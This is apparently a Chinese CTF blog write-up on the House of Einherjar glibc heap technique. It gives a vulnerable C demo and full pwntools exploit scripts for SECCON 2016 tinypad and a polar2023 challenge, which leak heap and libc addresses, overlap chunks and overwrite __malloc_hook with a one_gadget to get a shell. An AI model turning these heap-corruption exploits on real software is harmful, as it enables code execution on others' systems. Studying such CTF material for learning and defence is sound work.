house of
zach0ry

House Of Einherjar

正常free的时候会判断上一个chunk是不是free的,是的话就合并

让指针对 本chunk处-pre_size处的chunk 执行unlink,把本chunk和pre_chunk都从bin链条中脱出

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

那么如果我们可以同时控制一个 chunk prev_size 与 PREV_INUSE 字段,那么我们就可以将新的 chunk 指向几乎任何位置,记住唤起合并的还是一个unsorted bin的free

可以进行攻击的代码

eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void){
char* s0 = malloc(0x200); //构造fake chunk
char* s1 = malloc(0x18);
char* s2 = malloc(0xf0); 
char* s3 = malloc(0x20); //为了不让s2与top chunk 合并
printf("begin\n");
printf("%p\n", s0);
printf("input s0\n");
read(0, s0, 0x200); //读入fake chunk
printf("input s1\n");
read(0, s1, 0x19); //Off By One
free(s2);
return 0;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

p = process("./example")
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("begin\n")
address = int(p.recvline().strip(), 16)
p.recvuntil("input s0\n")
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
#两个chunk0(fake_chunk的头部地址)来绕过unlink对fd,bk的校验
payload += p64(0x100)
#通过unlink的校验
p.sendline(payload)
p.recvuntil("input s1\n")
payload = "A"*0x10 + p64(0x220) + "\x00"
#唤起合并
#改变pre_size以及本chunk对上一个chunk是否使用的标记
p.sendline(payload)
p.recvall()
p.close()

unlink的校验

1
2
>if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
malloc_printerr ("corrupted size vs. prev_size");

P 的大小必须等于 P 后面那个 chunk 的 prev_size

校验pre_chunk的size是否等于pre_chunk+size处对应的fake_size

这个pre_size也可以是虚构的,不是真实的在那个位置上的

Seccon2016 tinypad

项目地址

这个代码比较长,都汇在一起

总结就是每次操作后都会显示四个chunk的内容,只能同时存在四个chunk

image-20251222200009389

delete

uaf漏洞,只是把size位置上的数置零

image-20251222200045624

add

image-20251222200719176

edit
image-20251222200909184

思路

先泄露libc_base等计算maloc_hook,利用House of Einherjar构造overlapping chunk,再覆盖fast chunk的fd指针,指向__malloc_hook附近,将__malloc_hook覆盖成one_gadget

House of Einherjar的构造过程

先把后面的unsorted_bin malloc出来

image-20251222201612150

然后伪造chunk

add_memo(0x60, p64(0) + p64(0xd0) + p64(addr_heap +0x10) + p64(addr_heap +0x10))

这里伪造的fd和bk要用伪造chunk的头部

image-20251222201735403

然后是unlink的size校验,放size

image-20251222202002314

之后再把unsorted bin free唤起consolidation

1
2
3
4
add_memo(0xf0, b"C" * 0x10)  #1
add_memo(0x60, p64(0) + p64(0xd0) + p64(addr_heap +0x10) + p64(addr_heap +0x10)) #2
add_memo(0x68, b"B" * 0x60 + p64(0xd0))#3
delete_memo(1)

之后就是正常的覆盖了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
import sys
from LibcSearcher import *

file_path = "./tinypad"
remote_host = ""
remote_port = 2121
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)

def add_memo(size, content: bytes):
p.recvuntil(b"(CMD)>>>")
p.sendline(b"A")
p.recvuntil(b"(SIZE)>>>")
p.sendline(str(size).encode())
p.recvuntil(b"(CONTENT)>>>")
p.sendline(content)

def delete_memo(idx):
p.recvuntil(b"(CMD)>>>")
p.sendline(b"D")
p.recvuntil(b"(INDEX)>>>")
p.sendline(str(idx).encode())

def edit_memo(idx, content: bytes):
p.recvuntil(b"(CMD)>>>")
p.sendline(b"E")
p.recvuntil(b"(INDEX)>>>")
p.sendline(str(idx).encode())
p.recvuntil(b"(CONTENT)>>>")
p.sendline(content)
p.recvuntil(b"(Y/n)>>>")
p.sendline(b"Y")




add_memo(0x60, b"A" * 0x10)
add_memo(0x60, b"B" * 0x10)
add_memo(0xf0, b"C" * 0x10)
add_memo(0x80, b"D" * 0x10)
delete_memo(3)
delete_memo(2)
delete_memo(1)

p.recvuntil(b"INDEX: 1")
p.recvuntil(b"CONTENT: ")
addr_heap = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))-0x70
log.success("addr_heap: " + hex(addr_heap))

p.recvuntil(b"INDEX: 3")
p.recvuntil(b"CONTENT: ")
libc_base= u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))-0x3c4b78
log.success("libc_base: " + hex(libc_base))
malloc_hook = libc_base + 0x3C4B10 # Fix You
tar= malloc_hook - 0x23
one_gadget = libc_base + 0xf1147





# 第二步:House of Einherjar
add_memo(0xf0, b"C" * 0x10) #1
add_memo(0x60, p64(0) + p64(0xd0) + p64(addr_heap +0x10) + p64(addr_heap +0x10)) #2
add_memo(0x68, b"B" * 0x60 + p64(0xd0))#3
delete_memo(1)
# dbg()

delete_memo(3)


add_memo(0x90,b"E" * 0x50 + p64(0) + p64(0x71) + p64(tar))#fd 1
delete_memo(1)#现在已经有3个chunk了,要add两个取出tar,所以把它free掉
add_memo(0x60, b"F" * 0x10) # index: 1
pad_len = malloc_hook - tar - 0x10
add_memo(0x60, b"X" * pad_len + p64(one_gadget)) # index: 2



# 第四步:触发 malloc
delete_memo(2)
sla(b"(CMD)>>>", b"A")
sla(b"(SIZE)>>>", str(0x10).encode())

p.interactive()

polar2023 夕阳下的舞者

地址

这道题通过malloc unsorted bin 再free掉再malloc去取出以拿到libc_base

其它和上面的题目相近,这里粘个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
import sys
from LibcSearcher import *

file_path = "./sun"
remote_host = "1.95.36.136"
remote_port = 2052
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)

def add(size, data, mark):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'1')
p.recvuntil(b"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n")
p.sendline(str(size).encode())
p.recvuntil(b"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n")
p.send(data)
p.recvuntil(b"\x1B[1;33m Give the chicken a mark. \x1B[0m\n")
p.send(mark)
def delete(idx):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'2')
p.recvuntil(b"\x1B[1;33m Which chicken will you kill? \x1B[0m\n")
p.sendline(str(idx).encode())
def edit(idx, name, cook):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'3')
p.recvuntil(b"\x1B[1;33m Which chicken will you cook? \x1B[0m\n")
p.sendline(str(idx).encode())
p.recvuntil(b"Give me new name.\n")
p.send(name)
p.recvuntil(b"Give me Cook name.\n")
p.send(cook)
def show():
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'4')


add(0x20,b"a",b"b")
delete(0)
add(0x20,b"a",b"b")
show()
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00')) - 0x3c4b78
log.success("libc : 0x%x" % libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']



add(0x80, b'e'*0x20, b'f'*0x10) # 1
add(0x80, b'e'*0x20, b'f'*0x10) # 2
add(0x80, b'g'*0x20, b'h'*0x10) # 3
delete(1)
delete(3)

#dbg()
add(0x20, b'i'*0x20, b'j'*0x10) # 1
edit(1, b'a'*0x10, b'cccccccn')
show()
p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
p.recvuntil(b'cccccccn')
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
log.success("heap : 0x%x" % heap_addr)


add(0x80, b'i'*0x20, b'j'*0x10)
add(0x60,p64(0) + p64(0x320) + p64(heap_addr+0x190) + p64(heap_addr+0x190),b'b'*0x10) # 4 first 0x71
add(0x60, b'c'*0x10, b'd'*0x10) # 5
add(0x60, b'e'*0x10, b'f'*0x10) # 6
add(0x60, b'h'*0x10, b'j'*0x10) # 7
delete(6)
add(0x68, b'k'*0x60 + p64(0x320), b'j'*0x10) # 6 off-by-null
delete(6)
add(0x2D0,b'a'*0x2A0 + p64(0) + p64(0x71) + p64(malloc_hook-0x23) + p64(0xdeadbeef),b'b'*0x10) # 6


delete(0)
delete(1)
delete(2)

add(0x60, b'a'*0x10, b'b'*0x10) # 0

one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
add(0x60, b'a'*0x13 + p64(libc_base + one[1]), b'c'*0x10) # 1

delete(4)


p.interactive()